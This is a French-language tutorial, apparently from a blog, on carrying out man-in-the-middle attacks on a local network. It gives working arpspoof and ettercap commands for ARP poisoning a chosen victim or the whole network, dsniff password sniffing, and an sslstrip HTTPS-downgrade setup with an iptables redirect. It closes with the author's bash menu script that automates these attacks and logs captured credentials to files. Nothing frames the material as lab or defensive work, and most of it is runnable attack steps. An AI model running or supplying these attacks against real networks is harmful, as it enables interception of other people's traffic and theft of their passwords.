Man in the Middle
Le MITM est une technique réseau consistant à “sniffer” une connexion réseau pour voir ce qu'il se passe dessus.
Pour cette technique nous aurons besoins des outils suivants :
- Spoofing arp :
. arpspoof
. ettercap
- Sniffing :
. ettercap . tcpdump . dsniff . sslstrip (spécialement pour le https)
Arpspoofing ou arp poisonning est une technique qui permet à l'attaquant de détourner des flux de communications transitant entre une machine cible et une passerelle.
Cette attaque utilise le protocole ARP.
Tout d'abord nous allons faire croire à notre victime que la passerelle a changé d'adresse mac grâce à l'outil arpspoof
arpspoof -r -t 192.168.1.10 192.168.1.1 -i wlan0
L'option : -r sert à empoisonner la cible pour récupérer le trafic entrant et sortant
L'option : -t sert à désigner la cible
192.168.1.10 est l'adresse ip de la victime
192.168.1.1 est l'adresse de la passerelle
wlan0 notre interface réseau
Activez l'ip forwarding sinon votre cible sera déconnectée d'internet
echo 1 > /proc/sys/net/ipv4/ip_forward
A partir de cet instant tout le trafic de la victime transite par votre machine.
Plusieurs outils s'offrent à vous :
- Dsniff va vous afficher uniquement les identifiants des authentifications des protocoles non chiffrés (http , ftp , telnet…)
- Ettercap et tcpdump capturent tous les paquets, suivant les filtres que vous mettrez vous aurez des résultats différents.
Exemple avec Dsniff :
Dsniff -i interface
Exemple avec Ettercap en ligne de commande :
ettercap -T -M ARP -q /ip_cible/ // -i interface
L'option -T permet d'utiliser Ettercap en ligne de commande
L'option -M signifie MITM avec ARP
L'option -q permet de diminuer la verbosité
Attention si vous utilisez Ettercap assurez vous que les lignes suivantes soit dé-commentées dans le fichier /etc/ettercap/etter.conf
# if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
L'outil SSLSTRIP : est un outil qui permet de forcer la connexion de la victime à passer de l'HTTPS à l'HTTP si le site le permet.
Contrairement à d'autres outils tels que mitmproxy ou ettercap , sslstrip ne créer pas de faux certificats → pas de message d'erreur pour la victime.
Utilisation :
Il faut tout d'abord créer une règle iptable pour laisser passer le trafic.
Par défaut sslstrip utilise le port 10 000. Nous utiliserons le 15 000.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 15000
sslstrip -w log.txt -a -l 15000 -f
L'option -w permet de logguer toutes les informations dans un fichier
L'option -a permet de logguer tout le traffic
L'option -l permet de choisir le port (dans notre cas 15 000)
L'option -f permet d''afficher le favicone cadenas sur la page de la victime.
Voici un petit outil développé par mes soins pour automatiser ce genre d'action :
echo "#################################" echo "# Programme de MITM automatique #" echo "#################################" echo "Entrez l'interface sur laquel vous voulez faire le MTIM :" read interface echo 1 > /proc/sys/net/ipv4/ip_forward mon_ip=`ifconfig $interface | grep ' inet adr' | cut -d : -f2 | awk '{print $1}'` passerelle=`route -n | egrep "^0.0.0.0 +[[:digit:].]+ +0.0.0.0" | awk '{print $2}'` Ps3="Que voulez vous ? " select choix in \ "Spoofing arp pour tous le monde" \ "Spoofing arp pour une seul personne " \ "Sniffer les mots de passe ettercap" \ "Sniffer les mots de passe dsniff" \ "SSLSTRIP" \ "Mon ip " \ "Ma passerelle " \ "Commande systeme " \ "Quitter" do case $REPLY in 1) echo "Arpspoof pour tous" ; ettercap -T -M ARP -q // // -i $interface >> arp.txt & ;; 2) echo "Entrez l'ip de la victime "; read ip_victime ;arpspoof -i $interface -r -t $ip_victime $passerelle &;; 3) ettercap -T -q -i $interface | grep 'http' &;; 4) dsniff -i $interface -w dpass.txt & ;; 5) sslstrip -w log.txt -a -l 15000 -f & ;; 6) echo $mon_ip;; 7) echo $passerelle;; 8) echo " Commande systeme :"; read cmd ; $cmd;; 9) echo "On abandonne ..." break ;; *) echo "Choix invalide" ;; esac done